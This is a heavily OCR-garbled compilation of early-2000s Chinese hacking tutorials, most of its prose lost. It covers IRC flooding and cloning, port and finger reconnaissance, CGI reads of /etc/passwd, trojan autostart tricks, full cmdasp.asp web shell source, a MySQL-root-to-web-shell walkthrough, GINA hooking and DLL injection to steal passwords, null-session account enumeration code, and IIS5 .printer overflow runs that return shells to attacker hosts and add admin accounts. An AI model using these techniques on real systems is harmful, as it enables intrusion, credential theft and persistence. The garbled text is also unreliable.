springold ling_zhu@127.0.0.1 coolove

springold IRC.FastNet.Org FastNet IRC Server

springold 35mins 34secs SatJun0218 53 21
springold /WHOIS

/modenick X IP Mask
/whois yournick IP IRC
/modeyournick  x
X IP
Mask IRC fwho IP
IRC IRC
/whois Mask 127.0.0.FastNet 14601

/who 127.0.0.FastNet 14601
springold H  ling_zhu@127.0.0.FastNet 14601 O coolove
tess H ling_zhu@127.0.0.FastNet 14601 O coolove
127.0.0.FastNet 14601 /WHO
/who 127.0.0.
springold H  ling_zhu@127.0.0.FastNet 14601 O coolove
test H ling_zhu@127.0.0.FastNet 14601 O coolove
127.0.0. /WHO

/who 127.0.0.5

127.0.05 /WHO

iwho 1P IP

/mode 127.0.0.1
/mode 127.0.0.2
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255 255
Mirc Script
IP Mask scan C
IP
IP “ NUKE" 95/98 Bug
DOS
Nuke 98 DOS
Lockdown Lockdown
IRC  Flood
IRC IP IRC
Mirc  Flood
Flood Flood
Flood IRC
Flood Join/Part Msg  Notice /me
Flood Flood
1 Text Flood
Flood Flood
/3AY XXXXXXXXXXXXXXXXX X
/msg XXXXXKXXXKXXXXKXXKXXKXXKXXKXXXXKKXKXX
1 Enter Ctrls V
Ctrl V /
06 18 50 <test>y >>>>>>>y
06 18 50 <test>y >>>>>>>y
5
Ignore
f/ignore nick
@ B
Ban
Ban
/bannick n n 1 8 Ban
Ban
07 31 42 springold b @127.0.0.FastNet 14601
07 31 50 <m3> y XXXXXXXXXXXXX Y
test You are banned

floold



2001

2 Action Flood

/M XXXXXXXXXKXXXXXXXXXXX X

Flood
X Me /.me
06 35 30 teSt XXXXXXXXXXXXXX
3 Notice Flood
/.me
/.notice
/notice springold XXXXXXXX
/notice XXXXXXXXXXKXXKXXK
06 43 44 test  XXXXXXXXXXX
06 45 03 test test  XXXXXXXXXX
Test
4 Nick Flood
Flood Text Flood
/Inick rand a z
flood
06 54 59 c b
06 55 10 b d
06 55 10 d I
Ban Ban
@ help
Oper Oper
5 join/part flood
07 11 10 m3 ling_zhu@127.0.0.FastNet 14601
07 11 15 m3 ling_zhu@127.0.0.FastNet 14601
join/part join/part flood Join/part flood
join/part flood Ban Ban
Ban
6 Ctcp Flood
Ctep Ctcp
/ctep nick ping

/ctcp nick version
[ctep nick time
/ctep nick finger

Notice
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o7 21 13 m3 PING
07 21 16 m3 VERSION
07 21 20 m3 TIME
o7 21 23 m3 FINGER
m3
/ctep nick ping
07 52 51 > gpringold  PING
07 52 51 springold PING Reply 5secs
07 52 52 > gpringold  PING
07 52 52 springold PING Reply 8secs
Reply
/notice  /me /.ctcp
7 DCCflood
DCC chat DCC send DCC
DCC “ ”
Mirc Script
fignore
kick/invite
[timer mirc
http  //xirc.yeah.net
/timer 100 1/.meit’ sjust atest
100
08 02 08 m3it'sjust atest
Flood Protect
on ACTION
prot.act = strip 1
if nick== me halt
if dapisin  prot.act halt
inc sef protection.action nick
timer 14 /unset self protection.action nick
if self  protection.action nick
if meisop chan
ban u60 chan nick address nick 2
kick chan nick_4 read Kicks.txt
unset self  protection.action nick

chan

chan

chan

chan

>6

op/deop

ftimer
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else

ignore  pcu30 nick

echo al14 nickAction_4Flooding _14You ..ignored now

notice nick_14DoNotFlood 4 me_14. You were lgnored now

Action flood a channe
/me Slap Slap
inc self protection.action nick chan
/me self protection.action nick chan
timer14/unset self protection.action nick chan
4 self protection.action nick
chan Flood
if self protection.action nick chan >6
4 6 Action

if meisop chan

ban u60 chan nick address nick 2

kick chan nick_4 read Kicks.txt

unset self protection.action nick chan

Ban 60 60

else

ignore  pcu30 nick

echo al14 nickAction_4Flooding _14You ..ignored now

notice nick_14DoNotFlood 4 me_14. You werelgnored now.

/me 30 Action flood
Do Not Flood 4 me 14. You were

Ignored now.
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5 Flood
Flood Action Flood 4

Clone
Clone Food “ Clone 8 “ Clone’ Clone
Mirc Socket IRC Mirc
Clone Clone Clone
Clone 20 Action Flood 20
Action Flood 20
Clone 50
IRC
IRC MM Clone 20
Flood 90

[
M A B men | ey u | Peacn proaey [0 sera emsie | el o
1
EEONESIITT T E— i
]
EEL Tl LI TG R
% i 5 D Sy S S 5 Sl 30 e 3 e 3 5 5 S S 3 S i 0 0 0 e i e e e e e 4

|

[y
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3
Clone Action5
50 Clone 5 50=250
100
Clone
/mode  channd k password
Clone
Mirc fignore XXX.XXX.XX.XX
XXX XXX XX XX IP Whois Mask
1.Mirc /
2. Ignore
fignore nick 3
fignore nick 4 Nick IP
fignore  tnick 3 Nick Ctcp
fignore 't @ Ctcp
mirc
3. Web IRC Webchat
4.Mirc Flood File/Options/Flood/
5.Linux Root IRC IRC

6.
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Interesting ports on

NetDemon
linux

coolfire

coolfirede

nmap nmap

Nmap

XXX XXX XXX XXX

The 1515 ports scanned but not shown below arein state  closed

Port State Service
7/tcp open echo
9/tcp open discard
13/tcp open daytime
19/tcp open chargen
21/tcp open ftp
23/tcp open telnet
37/tcp open time
79/tcp open finger <
111/tcp open sunrpc
515/tcp open printer
540/tcp open uucp

RPC

rpchindVv2 4

1103/tcp open xaudio

4045/tcp open lockd
6000/tcp open X11
6112/tcp open dtspc
7100/tcp open font
8080/tcp open http

nlockmgrV1 4

service
proxy

32774/tcp open sometimes  rpcll  statusV1

32775/tcp open sometimes  rpcl3  ttdbserverd V1 <
32776/tcp open sometimes  rpcl5  dmispd V1
32779/tcpopensometimes  rpc2l  ttsessionV1 4

TCP Sequence Prediction  Class=random positive increments

Difficulty=33704

Worthy challenge

unix
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Sequence numbers

Remote operating systemguess  Solaris 2.6

OS Fingerprint

48234DC2 4825A532 4826EE37 4827D6EB 48291220 482AF5C1

2.7<

TSeq Class=RI gcd=1 SI=83A8

Tl Resp=Y DF=Y W=2297 ACK=S Flags=AS Ops=NNTNWME

T2 Resp=N

T3 Resp=N

T4 Resp=Y DF=Y W=0 ACK=0O Hags=R Ops=

T5 Resp=Y DF=Y W=0 ACK=S Flags=AR Ops=

T6 Resp=Y DF=Y W=0 ACK=0O Hags=R Ops=

T7 Resp=Y DF=Y W=0 ACK=S Flags=sAR Ops=

PU Resp=Y DF=Y TOS=0 IPLEN=70 RIPTL=148 RID=E RIPCK=E UCK=E

ULEN=134 DAT=E

solaris2.6 2.7 sun microsystem

daytime  xiaudio finger
finger | @XXX.XXX.XXX.XXX finger
sun finger bug
12@XXX. XXX XXX XXX @
finger

Login Name TTY Idle When Where
daemon <....>
bin <....>
sys <....>
WWwW pts/l <dun 2210 04> XXX.XXX.XXX.XXX
richard <....>
fashion <....>
liu1971 <....>
root <....>
wangjin <....>
zhanghj pts/2<Apr1809 30>

telnet happy

root liu1971
root sun  mailx
linux  mail 2001
rpc sun  rpc
sun

ttdbserverd patch

www.securityfocus.com

finger
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sun sun  sadmind 1999
sun
ftp
win ftp sun  proftp
shell
root
root
coi http  /lwww.victim.com/cgi  bin/whois raw.cgi  fqdn=

Oacat  20/etc/passwd http [Iwww.victim.com/cgi bin/faxsurvey /bin/cat
20/etc/passwd  http  //www.victim.com/opendir.php  requesturl=/etc/passwd

cgi cgi
X scan cgi
http  //www.google.com /opendir.php
cgi http
/[devel oper.html.com passwd
root 0 O root /[root /bin/bashbin 1 1 bin /bin daemon 2
2 daemon /shin adm 3 4 am /varfadm Ip 4 7 Ip
Ivar/spool/lpd ~ sync 5 0 sync /shin /bin/sync shutdown 6 O
shutdown /sbin  /shin/shutdown halt 7 0 hdt /sbin /shin/halt mail 8
12 mal /var/spool/mail news 9 13 news /var/spool/news  uucp
10 14 uucp /var/spool/uucp  operator 11 O operator /root  games
12 100 games /usr/games  gopher 13 30 gopher /usr/lib/gopher
data ftp 14 50 FTPUser /home/ftp  nobody 99 99 Nobody

!/ httpd x 50000 50000 httpd /web /bin/bash

B e

b i
!

) &
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[szteww
OICQ
Windows
netbeui udp/tcp 135
139 block
win2000 service
block 1024
udp/tcp <1024
139
IE
IE Activex
Java Activex format
rewrite Active JAVA
IE PATCH IE
IE
WSH
Windows  Windows Scripting Host WSH
ILOVEYOU vbs WSH
OUTLOOK mIRC WSH Windows
WSH
CIs
bo EMAIL
EMAIL
olcQ
heap stack winamp2.64
DOS DDOS
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Ty

Win98
113 ” 98
“ ki) 98 98
API
C
C C
\\ IP\C
123abc
Windows 95 98 BUG
Win98 Windows\System
256 0X20 0X80 96
137 139 \IP
Win NT
Windows DOS net view \\ IP

Shared resources at \\202.106.209.31
SharenameType Comment
BILLINGDisk

CDisk

DDisk

FDisk

FILESDisk
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HP Print

The command was completed successfully.

winipcfg
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FRE |
HEET |
2
[ | §iE |
F:ﬂ - ] 1wk =
R I F
3
C
w
4
¢ \windows pwi
PWL Windows
Windows Windows
PWLTOOL
PWL
PWL PWL
Widnwos
PWLTOOL PWL
Windows “ " PWL
5
g ey WD EEy dlly SR i
a-t dAnddida-
T 2] =
B L E
Pei ik - O i ]
HENEE. HITE A o o B o J
= |
g m =
e al
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5
PWLTOOL PWL
6

Priwiid lomsnnd Lim

L g [ =

= =

 —— |
6
PWL FTP
98 IE FTP
Windows
C \Windows\Cookies\index.dat
cookie BBS
BBS URL
CaGl
BBS C
\WINDOWS\Favorites IE
C \WINDOWS\Application Datalldentities\  3E690B40 97EA 11D4
967B 9117A21ED870 \Microsoft\Outlook Express OE
C C \WINDOWS\Start
Menu\Programs\
FOXMAIL
FOXMAIL FOXMAIL.INI
FOXMAIL 21
C
C
¢ \windows\win.ini
\windows\system.ini



e —— ‘==
i d4dd24dd -
. = 3
W
- e e
_— 8|
7
C \WINDOWS WINL.INI
windows
load=c \muma.exe
¢ \mumaexe
3 SYSTEM.INI
C \WINDOWS SYSTEM.INI SHELL=
boot
shell=Explorer.exec \muma.exe
¢ \mumaexe
autoexec.bat
Win32 autoexec.bat
Win32
Win32
C
C
autorun.inf
autorun
OPEN=SETURPEXE /AUTORUN
setup.exe
autorun.inf
autorun

OPEN=muma.exe /AUTORUN

Windows
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A4 %K 2 BE R STHL A *EJ?I]AE

TSR

Windows EXE
ping IP ping
ICMP
NT Web
ASP ASP FSO
ASP
2.0 ASP
LETMEIN
61.139.46.100

letmein 61.139.46.100 all g

billing
FTP

FTP
FTP

billing
FTP

Windows
CUTEFTP

FTP
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http  //61.139.46.100/index.asp ASP
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i
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\boot.ini
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Web URL
.ida 5
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Web
cgi  bin
ASP

< @ Language=VBScript >
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<
Dim oScript
Dim oScriptNet
DimoFileSys  oFile
DimszCMD  szTempFile
On Error Resume Next
create the COM objects that we will be using
Set oScript = Server.CreateObject  "WSCRIPT.SHELL"
Set oScriptNet = Server.CreateObject  "WSCRIPT.NETWORK"
Set oFileSys = Server.CreateObject " Scripting.FileSystemObject"”
check for acommand that we have posted
szCMD = Request.Form ".CMD"
If sCMD<>"" Then
Use apoor man's pipe ... atemp file
szTempFile="C \" oFileSys.GetTempName
Call oScript.Run  "cmd.exe/c" szCMD > szTempFile 0  True
Set oFile = oFileSys.OpenTextFile  szTempFile 1 Fase O
End If
>
<HTML>
<BODY>
<FORM action="< = Request.ServerVariables "URL" >" method="POST">
<input type=text name=".CMD" size=45 value="< =szCMD >">
<input type=submit value="Run">
</[FORM>
<PRE>
<
If IsObject oFile Then
Read the output from our command and remove the temp file
On Error Resume Next
Response.Write Server. HTMLENncode  oFile.ReadAll
oFile.Close
Call oFileSys.DeleteFile  szTempFile  True
End If
>
</BODY>
</HTML>
ASP Web cmdasp.asp
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N [Tp—1

WinNT

5 1400 NT
123456
1000
nix nix
FINGER Win2000
Win2000 98 finger 0@

FINGER

IP
TXT
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T

FTP

FTPPASS

2008

2008

finger



2001

TELNET 79
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Unicode

/Bytes
Unicode
Bytes

aaa dad
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1.aaa bbb 2. www sdx
3.sad fsd 4. aaa bbbda
5.saddd fdasfs
1 asabbb 1 2 wwwsdx 1 http
[lwww.chinawebfan.com/scripts/.. 1c cl../winnt/system32/cmd.exe /c dir ¢ \aaabbb 1
13 1 ”
13 2 ” 4 1 1
aaabbb 1 4 aaabbb 2
Windows NT
<1> NT Server IPC NULL Session
Windows NT
<2>Windows 2000 Windows 2000
Windows
2000
LOCAL_SYSTEM
<3> Windows NT MS SQL Server MS SQL
Server7.0 sa SQL Server 2000
SQL Server Xp_cmdshell
SQL Server LOCAL_SYSTEM
<4> s s ASP Unicode
ida printer ISAPI DLL s
<5> CGl CGl
TXT INC
<6>
guest

OK
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pwdump dump LophtCrack
DLL MSGINA
Windows 2000 GINA
Windows 2000
“ MBR 7 x86
MBR 4
Windows 2000 Ntldr  Ntdetect.com
boot.ini
Windows 2000
<1>MBR BIOS MBR
MBR MBR
<2>Windows 2000 Ntldr
Ntldr NTFS FAT
_— Windows 2000
32 Ntldr
boot.ini
<3>
Windows 2000
<4>Ntdetect Windows 2000 Ntldr Ntdetect.com
Ntdetect.com BIOS Ntdetect
HKLM\Hardware\Description
<5>Ntoskrnl HAL Ntdetect
Ntldr Ntldr Ntoskrnl.exe hal.dll HAL Hardware Abstract Layer
Ntoskrnl.exe Windows NT
Windows 2000
Ntoskrnl.exe hal.dll
<6> Ntldr
<7> Windows 2000
Ntldr
Windows 2000 smss.exe

kernedlll gdi32.dll user32.dll win32 AP win32
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A. winlogon.exe
B. |sass.exe
C. services.exe
MSGINA
GINA GINA Graphical Identification and Authentication
GINA  MSGINA.dII Windows NT
Winlogon GINA bingle
MSGINA.DLL 19 AP APl WIxNegotiate
API GINA WixlInitialize
WIxRemoveStatusMessage  WIxLoggedOutSAS WIxLoggedOutSAS
WIxLoggedOutSAS

int WIxLoggedOutSAS

PV OID pWIxContext

DWORD dwSasType

PLUID pAuthenticationld

PSID pLogonSid

PDWORD pdwOptions

PHANDLE phToken

PWLX_MPR_NOTIFY_INFO pNprNotifylnfo

PVOID pProfile

WLX_MPR_NOTIFY_INFO

Typedef struct_ WLX_MPR_NOTIFY_INFO

PWSTR pszUserName

PWSTR pszDomain

PWSTR pszPassword

PWSTR  pszOldPassword

WLX_MPR_NOTIFY_INFO
DLL DLL API MSGINA.DLL
GINA DLL
GINA
DLL SDK
SDK API
WixNegotiate ~ WIXLoggedOutSAS AP

OK pragma

pragmacomment linker  "export = WIxLoggedOnSAS=msgina. WIxLoggedOnSAS"

pragma DLL WIxLoggedOnSAS

WIxLoggedOnSAS msgina.dl|
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WIxLoggedOnSAS pragma
SDK GinaHook

T --.-..-":- ;':-:_“\-"-.-- {
LADEYOND0E |, -
] . eSO, - -
4 FEEEslamppean B I ACENTERR &
MRS T o ';" ' = 8

e P r
DLL def WIxNegotiate
WIxLoggedOutSAS API MSGINA
DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

GinaDLL DLL
system32 MSGINA.DLL
GinaDLL DLL
GINA
GINA PcAnywhere
GinaDLL SystemRoot \System32\awgina.dll
GinaDLL GINA PcAnywhere
Gina EXE DLL.EXE
EXE GinaDLL
<A> SystemRoot  \system32\msgina.dll
GinaDLL GINA DLL
GINADLL GINA  msginadll
<B> GINA GinaDLL
GINA GinaDLL GINADLL
GINADLL DLL
GINA AP MSGINA.DLL GINA AP
GINA AP GetProcAddress GINADLL
GINADLL Email
exe GinaDLL
GinaDLL DLL
PcAnyWhere PcAnywhere
MSGINA.DLL PcAnywhere
PcAnyWhere
GinaDLL
F8

regedit
OK

passdump
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eyas
admin  — eyas
admin passdump telnet  admin
passdump passdump
passdump eyas eyas
BTW passdump
passdump eyas

Windows
Windows APl CreateRemoteThread
HANDLE CreateRemoteThread

HANDLE hProcess // handle to process

LPSECURITY_ATTRIBUTES IpThreadAttributes  // SD

SIZE T dwStackSize /[ initial stack size

LPTHREAD_START_ROUTINE IpStartAddress /I thread function

LPVOID |pParameter /[ thread argument

DWORD dwCreationFlags /[ creation option

LPDWORD IpThreadld// thread identifier

DLL LoadLibrary
LoadLibraryA  LoadLibraryW
OK DLL DLL passdump
eyas DLL DLL
passdump eyas eyas

OK DLL
BOOL __ stdcall DIIMain  HINSTANCE hLiblnstance  DWORD dwReason  LPVOID

IpvReserved

switch  dwReason

case DLL_PROCESS ATTACH
system  "passdump.exe’

break

default
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break

return TRUE

LoadLibrary DLL passdump
DLL CreateProcess

N -
Hiamppaan E I A ENTERR & I'f
dH '~

u,.?.:-ﬂFmFa'r"ﬁzm | I
L e

DLL eyas DLL
1 et B

St wcinnguuan G T ENTERE
| h,.?.:-ﬂFmFa'r"ﬁs et |"
U s

DLL
DLL SE DEBUG_NAME

'“- EE}:T?IM:I 1.‘.{;._\. E-F -

o - a '-2

| h,.?.:-ﬂFmFa'r"m bt
U s
DLL admin
CreateRemoteThread 8
Telnet admin
Telnet OK SystemRoot \passitxt  eyas
DLL <windows >
DLL

EM ey4s@21lcn.com HomePage www.ey4s.org
shotgun<shotgun@xici.net>
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SRR
R,

Happytime Happytime
¢ \Documents and Settings\help.vbs help.hta

help.vbs

HKEY_CURRENT_USER\Software Help
help. “ Remlamsorry  Happy time”

Happytime
PS Untitled.htm

Windows 2000

IRC
URL abc.target.net

nmap abc.target.net
TCP/IIP s Windows 2000 s
idg 3306 mysql
mysql mysql root
www.target.net
Ok nmap
25/tcp open smtp
53/tcp open domain
80/tcp open http

110/tcp openpop 3
389/tcp open ldap
1002/tcp open unknown
3306/tcp open mysql
80 WEB Server 11S5.0 windows 2000
TCP/IIP
abc.target.net 25 110 IMail
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6.04 s ISAPI
——3306 mysql

F \cmd>mysgl uroot hwww.target.net

Welcome to the MySQL monitor. Commands end with or \g.

Your MySQL connection id is 3038 to server version  3.23.21 beta
Type'help  'or \h' for help. Type \c' to clear the buffer

mysql>
mysql root
MS SQL
Xp_cmdshell mysql MS SQL
<1> mysql
<2> mysql LOCAL_SYSTEM
<3> mysql
s ASP
ASP s
mysql test tmp str TEXT
mysql> usetest  createtabletmp str TEXT
Database changed
Query OK  Orowsaffected 0.05sec
Mysql>
s ¢ \inetpub\wwwroot
c www c¢ \wwwroot c¢ \inetpublweb d \web d \wwwroot 55555
10 mysql
mysql> load datainfile"d  \\www\\gb\\about\\about.htm" into table tmp
Query OK  235rowsaffected  0.05sec
Records 235Deleted OSkipped OWarnings O
Mysql>
s d \www http
/lwww. target.net/gb/about/about.htm guests shell

IUSR_COMPUTERNAME IWAN_COMPUTERNAME s
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d \www\gb\about ASP
target.net/gb/about/cmd.asp
Cmd.asp

o e o [ = e (R
ILoedEhime ...

f i -
S FEEEsiamppaant A B indows 2000 &
\._.:._*.-:Ei';!ﬂ!t:‘:.ﬁl.m t% ' | =
L P 2

mysql

ASP

mysgl> usetest createtablecmd str TEXT

Database changed

Query OK  Orowsaffected 0.05sec
ASP

mysqgl> insert into cmd values " asp

bbs.nsfocus.com NT coolweis
asp

mysql>select from cmd into outfile"d  \\www\\gb\\abou\\cmd.asp"

mysgl> usetest  droptabletmp  drop table cmd

ok shell
asp
admin
<1>

¢ \Everyone o ClI F

d \\xxx O ClI DENY
DELETE

READ_CONTROL

WRITE_DAC

WRITE_OWNER
STANDARD_RIGHTS_REQUIRED
FILE_READ_DATA

http  /iwww.
cmd.asp
asp
x.sql
search
admin
shell
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FILE WRITE_DATA
FILE_APPEND_DATA
FILE_READ_EA

FILE WRITE_EA
FILE_EXECUTE

FILE_ DELETE_CHILD
FILE_ READ_ATTRIBUTES
FILE WRITE_ATTRIBUTES
Everyone o Cl F

admin
<2>
¢ \Program Files
2000 12 1913 10 Sev U
2001 01 2022 43
Serv U
log
<3>
Guest ITUSR_SERVER 1 IUSR_SERVER 2 IWAM_SERVER 1 IWAM_SERVER 2 tanyi
TsInternetUser
tanyi target\Domain Admins
tanyi

<4>

<5>

TCPO0.0.0.0 210.0.00 OLISTENING
TCP0.0.0.0 1190.0.00 OLISTENING
TCP192.168.1.3 33890.0.00 OLISTENING

TCP/IP
<6>
Ethernet adapter
Connection specific DNS Suffix .
Description........... Realtek RTL8139 A  PCl Fast
Ethernet Adapter
Physical Address. . ....... 00 EO 4C 68 C4 B2
DHCPEnabled. . ......... No
IPAddress. ........... 192.168.1.3
SubnetMask ........... 255.255.255.0
Default Gateway . ........
DNSSevers. ..........
Ethernet adapter 2

Connection specific DNS Suffix .
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Description........... Realtek RTL8139 A  PCl Fast
Ethernet Adapter 2
Physical Address. . ........ 00 E0O 4C 68 B8 FC
DHCPEnabled. .......... No
IPAddress............ XXX
SubnetMask ...........
Default Gateway . ........
admin
netdde pipeupadmin
2001/4
“ HKLM\Software\Microsoft\Windows NT\CurrentVersion\hotfix”
regexe M  Resource Kit
ftp ftp s cmd.xt
TCP/IP
UDP tftp Cisco
TFTP Server tftp | www.ey4s.org GET reg.exe
REG QUERY "HKLM\Software\Microsoft\Windows NT\CurrentVersion\hotfix"
Listingof  Software\Microsoft\Windows NT\CurrentVersion\hotfix
Q147222 ==> 2k
Q269862 ==> Microsoft IIS Unicode
Q277873 ==> Microsoft IIS CGlI
==> SP1
SP2 HotFixs
admin
TermService windows 2000
Q270676_W2K_SP2 x86 CN.EXE
dirc \winnt\help\win
hoho
TCP/IP
3389 TCP/IP
reg.exe

<1>

reg QUERY "HKLM\System\CurrentControl Set\Services\Tcpi p\Parameters\I nterfaces"
Listing of
System\CurrentControl Set\Services\ Tcpi p\Parameters\interfaces
4B41CFFB 4A20 42F8 9087 AB89FE71FD8F4
612A3142 DB85 4D4E 8028 81A9EB4D6AS51
<2>reg QUERY
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"HKLM\System\CurrentControl Set\Services\Tcpip\Parameters\I nterfaces\
4B41CFFB 4A20 42F8 9087 AB89FE71FD8F4

Listing of
System\CurrentControl Set\Services\Tcpip\Parameters\i nterfaces\
4B41CFFB 4A20 42F8 9087 AB89FE71FD8F4

MULTI_SZ IPAddress

MULTI_SZ TCPAllowedPorts25 53 80 110 3306

MULTI_SZ UDPAIllowedPorts 0

MULTI_SZ RawlPAllowedProtocols 0

<3>reg QUERY

"HKLM\System\CurrentControl Set\Services\Tcpip\Parameters\I nterfaces\
612A3142 DB85 4D4E 8028 8lA9EB4D6AS51

Listing of
System\CurrentControl Set\Services\Tcpip\Parameters\i nterfaces\
612A3142 DB85 4D4E 8028 8l1A9EB4D6AS51

MULTI_SZ IPAddress 192.168.1.3

MULTI_SZ TCPAllowedPorts 0

MULTI_SZ UDPAIlowedPorts 0

MULTI_SZ RawlPAllowedProtocols 0

53 80 110 3306 UDP IP
¢ \winnt\help
3389 admin
55555 socket
TermService
<1> www.eyas.org 3389
11111 www.target.net
1 TermClient
<2>  www.target.net WWw.eyas.org
192.168.1.3 3389 IP
<3> TermClient www.eyas.org 3389
admin
mysql ==> s ==> cmd.asp
shell==> admin

UserName  Password

<1> mysql root

TCP25

TCP/IP

TermClient

11111

GinaDLL
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<2> set s

s
<3>
SHELL

Windows NT
RAKSERS

ley4s
Windows NT\2000\X P IPC
SAM
SAM
OK IPC NULL Session

C \‘>netuse\liplipc " /user
The command completed successfully.

APl WNetAddConnection2

DWORD WNetAddConnection2

GUESTS

IPC NULL Session

NT

“ NT
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LPNETRESOURCE |IpNetResource [l connection details

LPCTSTR IpPassword I password
LPCTSTR IpUsername Il user name
DWORD dwFlags /I connection options
NETRESOURCE
AP
MSDN IpPassword  NULL
IpUsername IpPassword

IPC

BOOL EstablishiPC  char RemoteName char User char Pass

NETRESOURCE nr

char RN 128 ="\\\"

strncat RN RemoteName 100
strcat RN "\ipc
nr.dwType=RESOURCETYPE_ANY
nr.IpLocalName=NULL
nr.IpRemoteName=RN
nr.IpProvider=NULL

if  WNetAddConnection2 nr Pass User FALSE ==NO_ERROR
return TRUE

else

return FALSE

IPC AP
APl NetQueryDisplaylnformation APl

NET_API_STATUS NetQueryDisplaylnformation
LPCWSTR ServerName
DWORD Level
DWORD Index
DWORD EntriesRequested
DWORD PreferredM aximumLength
LPDWORD ReturnedEntryCount
PVOID  SortedBuffer

ServerName NULL Unicode



2001

NULL
Level MSDN
Index EntriesRequested
PreferredMaximumL ength SortedBuffer
8 ReturnedEntryCount
SortedBuffer
SortedBuffer

Loading ..

B I
Kl siangraenWindows ST ENEHE L}
b ] [ TR ﬂ

OK API NetGroupGetUsers

NET_API_STATUS NetGroupGetUsers
LPCWSTR servername
LPCWSTR groupname
DWORD level
LPBYTE  bufptr
DWORD prefmaxlen
LPDWORD entriesread
LPDWORD totalentries
PDWORD_PTR ResumeHandle

groupname unicode

level bufptr 0
MSDN bufptr NetApiBufferFree

prefmaxlen 8
entriesread DWORD totalentries
DWORD
ResumeHandle DWORD
user

Loading ..

LR
Kl siangraenWindows ST EHEHE L}
b ] [ SR ﬂ

None

32

APl APl NetUserEnum

NET_API_STATUS NetUserEnum
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LPCWSTR servername
DWORD level

DWORD filter

LPBYTE  bufptr
DWORD prefmaxien
LPDWORD entriesread
LPDWORD totalentries
LPDWORD resume_handle

level 9 0
filter
MSDN

Loading ...

PLFi

APl

MSDN

letmein

IPC NULL Session

r TN
Wl hamgruanWin dows ST ENH L 3 ;
§ () [ RN i |

10 MSDN

HKEY_LOCAL_MACHINE\SY STEM\CurrentControl Set\Control\L sa\restri ctanonymous

1 0
Settings

>Loca Policies

NT API
MSDN
xfocusorg x scan bingle enum
SAM
Local Security

>Security Options

Additional restricitions for anonymous connections

None.Rely on default permissions
enumeration of SAM accounts and shares

OK

NT4.0

Do not allow
SAM

letmein  enum
I m kil 113

Xscan

IPC NULL Session
IPC NULL Session
IPC
IPC NULL Session
IPC NULL Session

IPC NULL Session SAM
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300
20 Password
NT4.0
NT4 _
Ok IPC NULL Session
SID SID
SID  Windows 2000
SID
SID ID SID
C \>whoami /user /SID
User ="EY4S\eyds' S 1 5 21 1060284298 854245398 839522115 500
SID SID

guest eyas SID

C \>getsid \\ey4s eyas\\ey4s guest

The SID for account EY 4S\eyas does not match account EY 4S\guest

The SID for account EY4S\eyas is S 1 5 21 1060284298 854245398 839522115
1015

he SID for account EY4S\guestisS 1 5 21 1060284298 854245398 839522115 501

IPC NULL Session L ookupAccountName API
SID guest SID  guest
guest SID
SID APl LookupAccountSid guest
IUSR_ComputerName SID SID
SID OK

C \>net user userl userl /add

The command completed successfully.

C \>net user user2 user2 /add

The command completed successfully.

C \>getsid \\ey4s userl \\ey4s user2

The SID for account EY 4S\user1 does not match account EY 4S\user2

The SID for account EY4Swserl is S 1 5 21 1060284298 854245398 839522115
1033

The SID for account EY4Swser2 is S 1 5 21 1060284298 854245398 839522115
1034

SID
SID guest
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—

Lnadlng

mmmh'.lud“p ST RN L
B ] [ S R

OK guest SID
SID 500 SID
administrator

Lnadlng

mw‘ﬁ'ﬂnd“p NT iR )
b ] [ R

SID

Lnadlng

mmmh'.lud“p ST RN L
by ] [y TR

—

OK IPC NULL Session
Delphi C
IPC IP IPC
EstablishiPC shotgun
LAN IPC N IP RAW SOCKET
N Shotgun
MS FTP Service FTP

BTW

HKEY_LOCAL_MACHINE\SY STEM\CurrentControl Set\Control\L sa\restrictanonymous
2 Local Security Settings
> ocal Policies >Security Options
Additional restricitions for anonymous connections
No access without explicit anonymous permissions
IPC NULL Session
IPC Session
IPC Session
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Email eyds@2lcn.com HomePage  www.ey4s.org

11S5.0
11S5.0 .printer Msw3prt.dll

[IS5Exploit Sunx  iisbhack Isno  Cniis

iisx  Expoit Eyas  Cgicheck Perl Exploit
/badboy
MS01 023

11S5.0  Win2000

Microsoft Windows 2000 Server
Microsoft Windows 2000 Datacenter Server
Microsoft Windows 2000 Advanced Server

Win 2000 11S5 ISAPI .printer Msw3prt.dll
.printer URL 1S5 Msw3prt.dll
Msw3prt.dll
printer  URL “ Host ” 420 Msw3prt.dll
Web

Win2000 Web
Win2000 80 Http 443

Https ISAPI

1S ISAPI . Printer

1



2001

s4
2.
Win2000 ISAPI

3. ISAPI
ISAPI Internet Services Application Programming Interface

ISAPI

ISAPI

ISAPI
4.1SAPI

ISAPI IPP RFCs2910
IPP HTTP

Win2000 RUL

5 Win2000 ISAPI
ISAPI
6.

7. 11S5.0
ISAPI

ISAPI
IPAPI
8. 11S5.0
ISAPI
0. Win2000
ISAPI
10.
Hittp  Https

Http  Https Web

2911
IPP

1S5
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11 11$4.0

.printer

1 I1S5Exploit

Jill.c

http  //www.netxeyes.com/I1S5 Exploit.zip

3 IIS5EXploit.exe nc.exe
1S5 .Printer Exploit
[1S5.0
1 NC
C >nc | p99
2. 11 S5Exploit

D \>jill xxx.xxx.xxx.xxx 211.152.188.1 333
===|1S5 English Version .Printer Exploit.===

readme.txt

===Written by Assassin 1995 2001. http  //www.netXeyes.com===

Connecting 211.152.188.1 ...OK.
Send Shell Code ...OK
1S5 Shell Code Send OK

211.152.188.1 IP
NC

C >nc | p99

Microsoft Windows 2000  Version 5.00.2195
C  Copyright 1985 1999 Microsoft Corp.

c -

C \>net user hack password /add
The command completed successfully.
C \>net localgroup administrartors hack /add

Administrator
MS DOS
I1S5EXploit IP IP 99
Telnet 80 Get Index.htm
Windows 2000 Version 5.00.2195
2 sunx.org iisbhack

Hack

password.

nc | p99
I1S5Exploit

NC

Http\Https

Win2000
ScanPrinter

Win2000
Microsoft
Eyas
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http  //www.sunx.org/mysoft/iis5 hack.zip

[1SBhack < IP> <WEB 80> < >
Win2000 0
Win2000 spl 1
Win2000 2
Win2000 spl 3
Win2000 4
Win2000 spl 5

E \HACK\print>iisshack XX.XX.XX.XX 803

iis5 remote .printer overflow. writen by sunx
http  //www.sunx.org
fortestonly  dont used to hack

connecting...

sending...

Now you can telnet to 99 port

good luck

c \telnet XXXXXX.XX 99

Microsoft Windows 2000  Version 5.00.2195
C  Copyright 1985 2000 Microsoft Corp.

C \WINNT\system32>

Win2000 s Shell
Shell 11S Shell
Telnet Exit s
s
3 isno.yeah.net Cniis  lisx
isno .printer iisx CNIIS
fisx < ><gp>< p| & rattackhost attackport>
s O SP 1 SP1 3
1S5 .printer
p iisx 66.77.88.990 p
66.77.88.99 7788 Telnet 66.77.88.99 7788
a iisX 66.77.88.990 a
